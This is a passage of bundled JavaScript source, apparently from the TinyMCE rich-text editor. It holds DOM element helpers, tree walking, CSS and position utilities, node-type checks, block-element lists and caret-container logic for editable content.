    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom$2(node);
    };
    const fromDom$2 = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint$2 = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom$2);
    const SugarElement = {
      fromHtml: fromHtml$1,
      fromTag,
      fromText,
      fromDom: fromDom$2,
      fromPoint: fromPoint$2
    };

    const toArray = (target, f) => {
      const r = [];
      const recurse = e => {
        r.push(e);
        return f(e);
      };
      let cur = f(target);
      do {
        cur = cur.bind(recurse);
      } while (cur.isSome());
      return r;
    };

    const is$1 = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };
    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map$3(base.querySelectorAll(selector), SugarElement.fromDom);
    };
    const one = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom);
    };

    const eq = (e1, e2) => e1.dom === e2.dom;
    const contains = (e1, e2) => {
      const d1 = e1.dom;
      const d2 = e2.dom;
      return d1 === d2 ? false : d1.contains(d2);
    };

    const owner$1 = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument$2(dos) ? dos : owner$1(dos);
    const documentElement = element => SugarElement.fromDom(documentOrOwner(element).dom.documentElement);
    const defaultView = element => SugarElement.fromDom(documentOrOwner(element).dom.defaultView);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parentElement = element => Optional.from(element.dom.parentElement).map(SugarElement.fromDom);
    const parents$1 = (element, isRoot) => {
      const stop = isFunction(isRoot) ? isRoot : never;
      let dom = element.dom;
      const ret = [];
      while (dom.parentNode !== null && dom.parentNode !== undefined) {
        const rawParent = dom.parentNode;
        const p = SugarElement.fromDom(rawParent);
        ret.push(p);
        if (stop(p) === true) {
          break;
        } else {
          dom = rawParent;
        }
      }
      return ret;
    };
    const siblings = element => {
      const filterSelf = elements => filter$5(elements, x => !eq(element, x));
      return parent(element).map(children$1).map(filterSelf).getOr([]);
    };
    const prevSibling = element => Optional.from(element.dom.previousSibling).map(SugarElement.fromDom);
    const nextSibling = element => Optional.from(element.dom.nextSibling).map(SugarElement.fromDom);
    const prevSiblings = element => reverse(toArray(element, prevSibling));
    const nextSiblings = element => toArray(element, nextSibling);
    const children$1 = element => map$3(element.dom.childNodes, SugarElement.fromDom);
    const child$1 = (element, index) => {
      const cs = element.dom.childNodes;
      return Optional.from(cs[index]).map(SugarElement.fromDom);
    };
    const firstChild = element => child$1(element, 0);
    const lastChild = element => child$1(element, element.dom.childNodes.length - 1);
    const childNodesCount = element => element.dom.childNodes.length;

    const getHead = doc => {
      const b = doc.dom.head;
      if (b === null || b === undefined) {
        throw new Error('Head is not available yet');
      }
      return SugarElement.fromDom(b);
    };

    const isShadowRoot = dos => isDocumentFragment$1(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const isSupported = constant(supported);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getStyleContainer = dos => isShadowRoot(dos) ? dos : getHead(documentOrOwner(dos));
    const getContentContainer = dos => isShadowRoot(dos) ? dos : SugarElement.fromDom(documentOrOwner(dos).dom.body);
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);
    const getOriginalEventTarget = event => {
      if (isSupported() && isNonNullable(event.target)) {
        const el = SugarElement.fromDom(event.target);
        if (isElement$7(el) && isOpenShadowHost(el)) {
          if (event.composed && event.composedPath) {
            const composedPath = event.composedPath();
            if (composedPath) {
              return head(composedPath);
            }
          }
        }
      }
      return Optional.from(event.target);
    };
    const isOpenShadowHost = element => isNonNullable(element.dom.shadowRoot);

    const inBody = element => {
      const dom = isText$b(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported$1(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const internalRemove = (dom, property) => {
      if (isSupported$1(dom)) {
        dom.style.removeProperty(property);
      }
    };
    const set$1 = (element, property, value) => {
      const dom = element.dom;
      internalSet(dom, property, value);
    };
    const setAll = (element, css) => {
      const dom = element.dom;
      each$d(css, (v, k) => {
        internalSet(dom, k, v);
      });
    };
    const get$7 = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported$1(dom) ? dom.style.getPropertyValue(property) : '';
    const getRaw$1 = (element, property) => {
      const dom = element.dom;
      const raw = getUnsafeProperty(dom, property);
      return Optional.from(raw).filter(r => r.length > 0);
    };
    const getAllRaw = element => {
      const css = {};
      const dom = element.dom;
      if (isSupported$1(dom)) {
        for (let i = 0; i < dom.style.length; i++) {
          const ruleName = dom.style.item(i);
          css[ruleName] = dom.style[ruleName];
        }
      }
      return css;
    };
    const remove$7 = (element, property) => {
      const dom = element.dom;
      internalRemove(dom, property);
      if (is$2(getOpt(element, 'style').map(trim$3), '')) {
        remove$b(element, 'style');
      }
    };
    const reflow = e => e.dom.offsetWidth;

    const before$3 = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const after$4 = (marker, element) => {
      const sibling = nextSibling(marker);
      sibling.fold(() => {
        const parent$1 = parent(marker);
        parent$1.each(v => {
          append$1(v, element);
        });
      }, v => {
        before$3(v, element);
      });
    };
    const prepend = (parent, element) => {
      const firstChild$1 = firstChild(parent);
      firstChild$1.fold(() => {
        append$1(parent, element);
      }, v => {
        parent.dom.insertBefore(element.dom, v.dom);
      });
    };
    const append$1 = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };
    const wrap$2 = (element, wrapper) => {
      before$3(element, wrapper);
      append$1(wrapper, element);
    };

    const after$3 = (marker, elements) => {
      each$e(elements, (x, i) => {
        const e = i === 0 ? marker : elements[i - 1];
        after$4(e, x);
      });
    };
    const append = (parent, elements) => {
      each$e(elements, x => {
        append$1(parent, x);
      });
    };

    const empty = element => {
      element.dom.textContent = '';
      each$e(children$1(element), rogue => {
        remove$6(rogue);
      });
    };
    const remove$6 = element => {
      const dom = element.dom;
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };
    const unwrap = wrapper => {
      const children = children$1(wrapper);
      if (children.length > 0) {
        after$3(wrapper, children);
      }
      remove$6(wrapper);
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      return children$1(SugarElement.fromDom(div));
    };
    const fromDom$1 = nodes => map$3(nodes, SugarElement.fromDom);

    const get$6 = element => element.dom.innerHTML;
    const set = (element, content) => {
      const owner = owner$1(element);
      const docDom = owner.dom;
      const fragment = SugarElement.fromDom(docDom.createDocumentFragment());
      const contentElements = fromHtml(content, docDom);
      append(fragment, contentElements);
      empty(element);
      append$1(element, fragment);
    };
    const getOuter = element => {
      const container = SugarElement.fromTag('div');
      const clone = SugarElement.fromDom(element.dom.cloneNode(true));
      append$1(container, clone);
      return get$6(container);
    };

    const mkEvent = (target, x, y, stop, prevent, kill, raw) => ({
      target,
      x,
      y,
      stop,
      prevent,
      kill,
      raw
    });
    const fromRawEvent = rawEvent => {
      const target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target));
      const stop = () => rawEvent.stopPropagation();
      const prevent = () => rawEvent.preventDefault();
      const kill = compose(prevent, stop);
      return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent);
    };
    const handle$1 = (filter, handler) => rawEvent => {
      if (filter(rawEvent)) {
        handler(fromRawEvent(rawEvent));
      }
    };
    const binder = (element, event, filter, handler, useCapture) => {
      const wrapped = handle$1(filter, handler);
      element.dom.addEventListener(event, wrapped, useCapture);
      return { unbind: curry(unbind, element, event, wrapped, useCapture) };
    };
    const bind$2 = (element, event, filter, handler) => binder(element, event, filter, handler, false);
    const unbind = (element, event, handler, useCapture) => {
      element.dom.removeEventListener(event, handler, useCapture);
    };

    const r = (left, top) => {
      const translate = (x, y) => r(left + x, top + y);
      return {
        left,
        top,
        translate
      };
    };
    const SugarPosition = r;

    const boxPosition = dom => {
      const box = dom.getBoundingClientRect();
      return SugarPosition(box.left, box.top);
    };
    const firstDefinedOrZero = (a, b) => {
      if (a !== undefined) {
        return a;
      } else {
        return b !== undefined ? b : 0;
      }
    };
    const absolute = element => {
      const doc = element.dom.ownerDocument;
      const body = doc.body;
      const win = doc.defaultView;
      const html = doc.documentElement;
      if (body === element.dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      const scrollTop = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageYOffset, html.scrollTop);
      const scrollLeft = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageXOffset, html.scrollLeft);
      const clientTop = firstDefinedOrZero(html.clientTop, body.clientTop);
      const clientLeft = firstDefinedOrZero(html.clientLeft, body.clientLeft);
      return viewport(element).translate(scrollLeft - clientLeft, scrollTop - clientTop);
    };
    const viewport = element => {
      const dom = element.dom;
      const doc = dom.ownerDocument;
      const body = doc.body;
      if (body === dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      if (!inBody(element)) {
        return SugarPosition(0, 0);
      }
      return boxPosition(dom);
    };

    const get$5 = _DOC => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const x = doc.body.scrollLeft || doc.documentElement.scrollLeft;
      const y = doc.body.scrollTop || doc.documentElement.scrollTop;
      return SugarPosition(x, y);
    };
    const to = (x, y, _DOC) => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const win = doc.defaultView;
      if (win) {
        win.scrollTo(x, y);
      }
    };
    const intoView = (element, alignToTop) => {
      const isSafari = detect$2().browser.isSafari();
      if (isSafari && isFunction(element.dom.scrollIntoViewIfNeeded)) {
        element.dom.scrollIntoViewIfNeeded(false);
      } else {
        element.dom.scrollIntoView(alignToTop);
      }
    };

    const get$4 = _win => {
      const win = _win === undefined ? window : _win;
      if (detect$2().browser.isFirefox()) {
        return Optional.none();
      } else {
        return Optional.from(win.visualViewport);
      }
    };
    const bounds = (x, y, width, height) => ({
      x,
      y,
      width,
      height,
      right: x + width,
      bottom: y + height
    });
    const getBounds = _win => {
      const win = _win === undefined ? window : _win;
      const doc = win.document;
      const scroll = get$5(SugarElement.fromDom(doc));
      return get$4(win).fold(() => {
        const html = win.document.documentElement;
        const width = html.clientWidth;
        const height = html.clientHeight;
        return bounds(scroll.left, scroll.top, width, height);
      }, visualViewport => bounds(Math.max(visualViewport.pageLeft, scroll.left), Math.max(visualViewport.pageTop, scroll.top), visualViewport.width, visualViewport.height));
    };

    const children = (scope, predicate) => filter$5(children$1(scope), predicate);
    const descendants$1 = (scope, predicate) => {
      let result = [];
      each$e(children$1(scope), x => {
        if (predicate(x)) {
          result = result.concat([x]);
        }
        result = result.concat(descendants$1(x, predicate));
      });
      return result;
    };

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    const ancestor$3 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$4 = (scope, predicate, isRoot) => {
      const is = (s, test) => test(s);
      return ClosestOrAncestor(is, ancestor$3, scope, predicate, isRoot);
    };
    const sibling$1 = (scope, predicate) => {
      const element = scope.dom;
      if (!element.parentNode) {
        return Optional.none();
      }
      return child(SugarElement.fromDom(element.parentNode), x => !eq(scope, x) && predicate(x));
    };
    const child = (scope, predicate) => {
      const pred = node => predicate(SugarElement.fromDom(node));
      const result = find$2(scope.dom.childNodes, pred);
      return result.map(SugarElement.fromDom);
    };
    const descendant$1 = (scope, predicate) => {
      const descend = node => {
        for (let i = 0; i < node.childNodes.length; i++) {
          const child = SugarElement.fromDom(node.childNodes[i]);
          if (predicate(child)) {
            return Optional.some(child);
          }
          const res = descend(node.childNodes[i]);
          if (res.isSome()) {
            return res;
          }
        }
        return Optional.none();
      };
      return descend(scope.dom);
    };

    const ancestor$2 = (scope, selector, isRoot) => ancestor$3(scope, e => is$1(e, selector), isRoot);
    const descendant = (scope, selector) => one(selector, scope);
    const closest$3 = (scope, selector, isRoot) => {
      const is = (element, selector) => is$1(element, selector);
      return ClosestOrAncestor(is, ancestor$2, scope, selector, isRoot);
    };

    const ancestor$1 = (scope, selector, isRoot) => ancestor$2(scope, selector, isRoot).isSome();

    class DomTreeWalker {
      constructor(startNode, rootNode) {
        this.node = startNode;
        this.rootNode = rootNode;
        this.current = this.current.bind(this);
        this.next = this.next.bind(this);
        this.prev = this.prev.bind(this);
        this.prev2 = this.prev2.bind(this);
      }
      current() {
        return this.node;
      }
      next(shallow) {
        this.node = this.findSibling(this.node, 'firstChild', 'nextSibling', shallow);
        return this.node;
      }
      prev(shallow) {
        this.node = this.findSibling(this.node, 'lastChild', 'previousSibling', shallow);
        return this.node;
      }
      prev2(shallow) {
        this.node = this.findPreviousNode(this.node, shallow);
        return this.node;
      }
      findSibling(node, startName, siblingName, shallow) {
        if (node) {
          if (!shallow && node[startName]) {
            return node[startName];
          }
          if (node !== this.rootNode) {
            let sibling = node[siblingName];
            if (sibling) {
              return sibling;
            }
            for (let parent = node.parentNode; parent && parent !== this.rootNode; parent = parent.parentNode) {
              sibling = parent[siblingName];
              if (sibling) {
                return sibling;
              }
            }
          }
        }
        return undefined;
      }
      findPreviousNode(node, shallow) {
        if (node) {
          const sibling = node.previousSibling;
          if (this.rootNode && sibling === this.rootNode) {
            return;
          }
          if (sibling) {
            if (!shallow) {
              for (let child = sibling.lastChild; child; child = child.lastChild) {
                if (!child.lastChild) {
                  return child;
                }
              }
            }
            return sibling;
          }
          const parent = node.parentNode;
          if (parent && parent !== this.rootNode) {
            return parent;
          }
        }
        return undefined;
      }
    }

    const isNodeType = type => {
      return node => {
        return !!node && node.nodeType === type;
      };
    };
    const isRestrictedNode = node => !!node && !Object.getPrototypeOf(node);
    const isElement$6 = isNodeType(1);
    const matchNodeName = name => {
      const lowerCasedName = name.toLowerCase();
      return node => isNonNullable(node) && node.nodeName.toLowerCase() === lowerCasedName;
    };
    const matchNodeNames = names => {
      const lowerCasedNames = names.map(s => s.toLowerCase());
      return node => {
        if (node && node.nodeName) {
          const nodeName = node.nodeName.toLowerCase();
          return contains$2(lowerCasedNames, nodeName);
        }
        return false;
      };
    };
    const matchStyleValues = (name, values) => {
      const items = values.toLowerCase().split(' ');
      return node => {
        if (isElement$6(node)) {
          const win = node.ownerDocument.defaultView;
          if (win) {
            for (let i = 0; i < items.length; i++) {
              const computed = win.getComputedStyle(node, null);
              const cssValue = computed ? computed.getPropertyValue(name) : null;
              if (cssValue === items[i]) {
                return true;
              }
            }
          }
        }
        return false;
      };
    };
    const hasAttribute = attrName => {
      return node => {
        return isElement$6(node) && node.hasAttribute(attrName);
      };
    };
    const hasAttributeValue = (attrName, attrValue) => {
      return node => {
        return isElement$6(node) && node.getAttribute(attrName) === attrValue;
      };
    };
    const isBogus$2 = node => isElement$6(node) && node.hasAttribute('data-mce-bogus');
    const isBogusAll$1 = node => isElement$6(node) && node.getAttribute('data-mce-bogus') === 'all';
    const isTable$2 = node => isElement$6(node) && node.tagName === 'TABLE';
    const hasContentEditableState = value => {
      return node => {
        if (isElement$6(node)) {
          if (node.contentEditable === value) {
            return true;
          }
          if (node.getAttribute('data-mce-contenteditable') === value) {
            return true;
          }
        }
        return false;
      };
    };
    const isTextareaOrInput = matchNodeNames([
      'textarea',
      'input'
    ]);
    const isText$a = isNodeType(3);
    const isCData = isNodeType(4);
    const isPi = isNodeType(7);
    const isComment = isNodeType(8);
    const isDocument$1 = isNodeType(9);
    const isDocumentFragment = isNodeType(11);
    const isBr$6 = matchNodeName('br');
    const isImg = matchNodeName('img');
    const isContentEditableTrue$3 = hasContentEditableState('true');
    const isContentEditableFalse$a = hasContentEditableState('false');
    const isTableCell$3 = matchNodeNames([
      'td',
      'th'
    ]);
    const isTableCellOrCaption = matchNodeNames([
      'td',
      'th',
      'caption'
    ]);
    const isMedia$2 = matchNodeNames([
      'video',
      'audio',
      'object',
      'embed'
    ]);
    const isListItem$2 = matchNodeName('li');

    const zeroWidth = '\uFEFF';
    const nbsp = '\xA0';
    const isZwsp$1 = char => char === zeroWidth;
    const removeZwsp = s => s.replace(/\uFEFF/g, '');

    const descendants = (scope, selector) => all(selector, scope);

    const NodeValue = (is, name) => {
      const get = element => {
        if (!is(element)) {
          throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
        }
        return getOption(element).getOr('');
      };
      const getOption = element => is(element) ? Optional.from(element.dom.nodeValue) : Optional.none();
      const set = (element, value) => {
        if (!is(element)) {
          throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
        }
        element.dom.nodeValue = value;
      };
      return {
        get,
        getOption,
        set
      };
    };

    const api$1 = NodeValue(isText$b, 'text');
    const get$3 = element => api$1.get(element);
    const getOption = element => api$1.getOption(element);

    const blocks = [
      'article',
      'aside',
      'details',
      'div',
      'dt',
      'figcaption',
      'footer',
      'form',
      'fieldset',
      'header',
      'hgroup',
      'html',
      'main',
      'nav',
      'section',
      'summary',
      'body',
      'p',
      'dl',
      'multicol',
      'dd',
      'figure',
      'address',
      'center',
      'blockquote',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'listing',
      'xmp',
      'pre',
      'plaintext',
      'menu',
      'dir',
      'ul',
      'ol',
      'li',
      'hr',
      'table',
      'tbody',
      'thead',
      'tfoot',
      'th',
      'tr',
      'td',
      'caption'
    ];
    const tableCells = [
      'td',
      'th'
    ];
    const tableSections = [
      'thead',
      'tbody',
      'tfoot'
    ];
    const textBlocks = [
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'p',
      'div',
      'address',
      'pre',
      'form',
      'blockquote',
      'center',
      'dir',
      'fieldset',
      'header',
      'footer',
      'article',
      'section',
      'hgroup',
      'aside',
      'nav',
      'figure'
    ];
    const headings = [
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6'
    ];
    const listItems$1 = [
      'li',
      'dd',
      'dt'
    ];
    const lists = [
      'ul',
      'ol',
      'dl'
    ];
    const wsElements = [
      'pre',
      'script',
      'textarea',
      'style'
    ];
    const wrapBlockElements = ['pre'].concat(headings);
    const lazyLookup = items => {
      let lookup;
      return node => {
        lookup = lookup ? lookup : mapToObject(items, always);
        return has$2(lookup, name(node));
      };
    };
    const isBlock$2 = lazyLookup(blocks);
    const isTable$1 = node => name(node) === 'table';
    const isInline$1 = node => isElement$7(node) && !isBlock$2(node);
    const isBr$5 = node => isElement$7(node) && name(node) === 'br';
    const isTextBlock$2 = lazyLookup(textBlocks);
    const isList = lazyLookup(lists);
    const isListItem$1 = lazyLookup(listItems$1);
    const isTableSection = lazyLookup(tableSections);
    const isTableCell$2 = lazyLookup(tableCells);
    const isWsPreserveElement = lazyLookup(wsElements);
    const isWrapBlockElement = lazyLookup(wrapBlockElements);
    const isWrapElement = node => isWrapBlockElement(node) || isInline$1(node);

    const getLastChildren$1 = elm => {
      const children = [];
      let rawNode = elm.dom;
      while (rawNode) {
        children.push(SugarElement.fromDom(rawNode));
        rawNode = rawNode.lastChild;
      }
      return children;
    };
    const removeTrailingBr = elm => {
      const allBrs = descendants(elm, 'br');
      const brs = filter$5(getLastChildren$1(elm).slice(-1), isBr$5);
      if (allBrs.length === brs.length) {
        each$e(brs, remove$6);
      }
    };
    const createPaddingBr = () => {
      const br = SugarElement.fromTag('br');
      set$2(br, 'data-mce-bogus', '1');
      return br;
    };
    const fillWithPaddingBr = elm => {
      empty(elm);
      append$1(elm, createPaddingBr());
    };
    const trimBlockTrailingBr = elm => {
      lastChild(elm).each(lastChild => {
        prevSibling(lastChild).each(lastChildPrevSibling => {
          if (isBlock$2(elm) && isBr$5(lastChild) && isBlock$2(lastChildPrevSibling)) {
            remove$6(lastChild);
          }
        });
      });
    };

    const ZWSP$1 = zeroWidth;
    const isZwsp = isZwsp$1;
    const trim$1 = removeZwsp;

    const isElement$5 = isElement$6;
    const isText$9 = isText$a;
    const isCaretContainerBlock$1 = node => {
      if (isText$9(node)) {
        node = node.parentNode;
      }
      return isElement$5(node) && node.hasAttribute('data-mce-caret');
    };
    const isCaretContainerInline = node => isText$9(node) && isZwsp(node.data);
    const isCaretContainer$2 = node => isCaretContainerBlock$1(node) || isCaretContainerInline(node);
    const hasContent = node => node.firstChild !== node.lastChild || !isBr$6(node.firstChild);
    const insertInline$1 = (node, before) => {
      var _a;
      const doc = (_a = node.ownerDocument) !== null && _a !== void 0 ? _a : document;
      const textNode = doc.createTextNode(ZWSP$1);
      const parentNode = node.parentNode;
      if (!before) {
        const sibling = node.nextSibling;
        if (isText$9(sibling)) {
          if (isCaretContainer$2(sibling)) {
            return sibling;
          }
          if (startsWithCaretContainer$1(sibling)) {
            sibling.splitText(1);
            return sibling;
          }
        }
        if (node.nextSibling) {
          parentNode === null || parentNode === void 0 ? void 0 : parentNode.insertBefore(textNode, node.nextSibling);
        } else {
          parentNode === null || parentNode === void 0 ? void 0 : parentNode.appendChild(textNode);
        }
      } else {
        const sibling = node.previousSibling;
        if (isText$9(sibling)) {
          if (isCaretContainer$2(sibling)) {
            return sibling;
          }
          if (endsWithCaretContainer$1(sibling)) {
            return sibling.splitText(sibling.data.length - 1);
          }
        }
        parentNode === null || parentNode === void 0 ? void 0 : parentNode.insertBefore(textNode, node);
      }
      return textNode;
    };
    const isBeforeInline = pos => {
      const container = pos.container();
      if (!isText$a(container)) {
        return false;
      }
      return container.data.charAt(pos.offset()) === ZWSP$1 || pos.isAtStart() && isCaretContainerInline(container.previousSibling);
    };
    const isAfterInline = pos => {
      const container = pos.container();
      if (!isText$a(container)) {
        return false;
      }
      return container.data.charAt(pos.offset() - 1) === ZWSP$1 || pos.isAtEnd() && isCaretContainerInline(container.nextSibling);
    };
    const insertBlock = (blockName, node, before) => {
      var _a;
      const doc = (_a = node.ownerDocument) !== null && _a !== void 0 ? _a : document;
      const blockNode = doc.createElement(blockName);
      blockNode.setAttribute('data-mce-caret', before ? 'before' : 'after');
      blockNode.setAttribute('data-mce-bogus', 'all');
      blockNode.appendChild(createPaddingBr().dom);
      const parentNode = node.parentNode;
      if (!before) {
        if (node.nextSibling) {
          parentNode === null || parentNode === void 0 ? void 0 : parentNode.insertBefore(blockNode, node.nextSibling);
        } else {
          parentNode === null || parentNode === void 0 ? void 0 : parentNode.appendChild(blockNode);
        }
      } else {
        parentNode === null || parentNode === void 0 ? void 0 : parentNode.insertBefore(blockNode, node);
      }
      return blockNode;
    };
    const startsWithCaretContainer$1 = node => isText$9(node) && node.data[0] === ZWSP$1;
    const endsWithCaretContainer$1 = node => isText$9(node) && node.data[node.data.length - 1] === ZWSP$1;
    const trimBogusBr = elm => {
      var _a;
      const brs = elm.getElementsByTagName('br');
      const lastBr = brs[brs.length - 1];
      if (isBogus$2(lastBr)) {
        (_a = lastBr.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(lastBr);
      }
    };
    const showCaretContainerBlock = caretContainer => {
      if (caretContainer && caretContainer.hasAttribute('data-mce-caret')) {
        trimBogusBr(caretContainer);
        caretContainer.removeAttribute('data-mce-caret');
        caretContainer.removeAttribute('data-mce-bogus');
        caretContainer.removeAttribute('style');
        caretContainer.removeAttribute('data-mce-style');
        caretContainer.removeAttribute('_moz_abspos');
        return caretContainer;
      }
      return null;
    };
    const isRangeInCaretContainerBlock = range => isCaretContainerBlock$1(range.startContainer);

    const isContentEditableTrue$2 = isContentEditableTrue$3;
    const isContentEditableFalse$9 = isContentEditableFalse$a;
    const isBr$4 = isBr$6;
    const isText$8 = isText$a;
    const isInvalidTextElement = matchNodeNames([
      'script',
      'style',
      'textarea'
    ]);
    const isAtomicInline = matchNodeNames([
      'img',
      'input',
      'textarea',
      'hr',
      'iframe',
      'video',
      'audio',
      'object',
      'embed'
    ]);
    const isTable = matchNodeNames(['table']);
    const isCaretContainer$1 = isCaretContainer$2;
    const isCaretCandidate$3 = node => {
      if (isCaretContainer$1(node)) {
        return false;
      }
      if (isText$8(node)) {
        return !isInvalidTextElement(node.parentNode);
      }
      return isAtomicInline(node) || isBr$4(node) || isTable(node) || isNonUiContentEditableFalse(node);
    };
    const isUnselectable = node => isElement$6(node) && node.getAttribute('unselectable') === 'true';
    const isNonUiContentEditableFalse = node => !isUnselectable(node) && isContentEditableFalse$9(node);
    const isInEditable = (node, root) => {
      for (let tempNode = node.parentNode; tempNode && tempNode !== root; tempNode = tempNode.parentNode) {
        if (isNonUiContentEditableFalse(tempNode)) {
          return false;
        }
        if (isContentEditableTrue$2(tempNode)) {
          return true;
        }
      }
      return true;
    };
    const isAtomicContentEditableFalse = node => {
      if (!isNonUiContentEditableFalse(node)) {
        return false;
      }
      return !foldl(from(node.getElementsByTagName('*')), (result, elm) => {
        return result || isContentEditableTrue$2(elm);
      }, false);
    };
    const isAtomic$1 = node => isAtomicInline(node) || isAtomicContentEditableFalse(node);
    const isEditableCaretCandidate$1 = (node, root) => isCaretCandidate$3(node) && isInEditable(node, root);

    const whiteSpaceRegExp = /^[ \t\r\n]*$/;
    const isWhitespaceText = text => whiteSpaceRegExp.test(text);
    const isCollapsibleWhitespace$1 = c => ' \f\t\x0B'.indexOf(c) !== -1;
    const isNewLineChar = c => c === '\n' || c === '\r';
    const isNewline = (text, idx) => idx < text.length && idx >= 0 ? isNewLineChar(text[idx]) : false;
    const normalize$4 = (text, tabSpaces = 4, isStartOfContent = true, isEndOfContent = true) => {
      const tabSpace = repeat(' ', tabSpaces);
      const normalizedText = text.replace(/\t/g, tabSpace);
      const result = foldl(normalizedText, (acc, c) => {
        if (isCollapsibleWhitespace$1(c) || c === nbsp) {
          if (acc.pcIsSpace || acc.str === '' && isStartOfContent || acc.str.length === normalizedText.length - 1 && isEndOfContent || isNewline(normalizedText, acc.str.length + 1)) {
            return {
              pcIsSpace: false,
              str: acc.str + nbsp
            };
          } else {
            return {
              pcIsSpace: true,
              str: acc.str + ' '
            };
          }
        } else {
          return {
            pcIsSpace: isNewLineChar(c),
            str: acc.str + c
          };
        }
      }, {
        pcIsSpace: false,
        str: ''
      });
      return result.str;
    };

    const hasWhitespacePreserveParent = (node, rootNode) => {
      const rootElement = SugarElement.fromDom(rootNode);
      const startNode = SugarElement.fromDom(node);
      return ancestor$1(startNode, 'pre,code', curry(eq, rootElement));
    };
    const isWhitespace$1 = (node, rootNode) => {
      return isText$a(node) && isWhitespaceText(node.data) && !hasWhitespacePreserveParent(node, rootNode);
    };
    const isNamedAnchor = node => {
      return isElement$6(node) && node.nodeName === 'A' && !node.hasAttribute('href') && (node.hasAttribute('name') || node.hasAttribute('id'));
    };
    const isContent$1 = (node, rootNode) => {
      return isCaretCandidate$3(node) && !isWhitespace$1(node, rootNode) || isNamedAnchor(node) || isBookmark(node);
    };
    const isBookmark = hasAttribute('data-mce-bookmark');
    const isBogus$1 = hasAttribute('data-mce-bogus');
    const isBogusAll = hasAttributeValue('data-mce-bogus', 'all');
    const isEmptyNode = (targetNode, skipBogus) => {
      let brCount = 0;
      if (isContent$1(targetNode, targetNode)) {
        return false;
      } else {
        let node = targetNode.firstChild;
        if (!node) {
          return true;
        }
        const walker = new DomTreeWalker(node, targetNode);
        do {
          if (skipBogus) {
            if (isBogusAll(node)) {
              node = walker.next(true);
              continue;
            }
            if (isBogus$1(node)) {
              node = walker.next();
              continue;
            }
          }
          if (isBr$6(node)) {
            brCount++;
            node = walker.next();
            continue;
          }
          if (isContent$1(node, targetNode)) {
            return false;
          }
          node = walker.next();
        } while (node);
        return brCount <= 1;
      }
    };
    const isEmpty$2 = (elm, skipBogus = true) => isEmptyNode(elm.dom, skipBogus);

    const transparentBlockAttr = 'data-mce-block';
    const elementNames = map => filter$5(keys(map), key => !/[A-Z]/.test(key));
    const makeSelectorFromSchemaMap = map => elementNames(map).join(',');
    const updateTransparent = (blocksSelector, transparent) => {
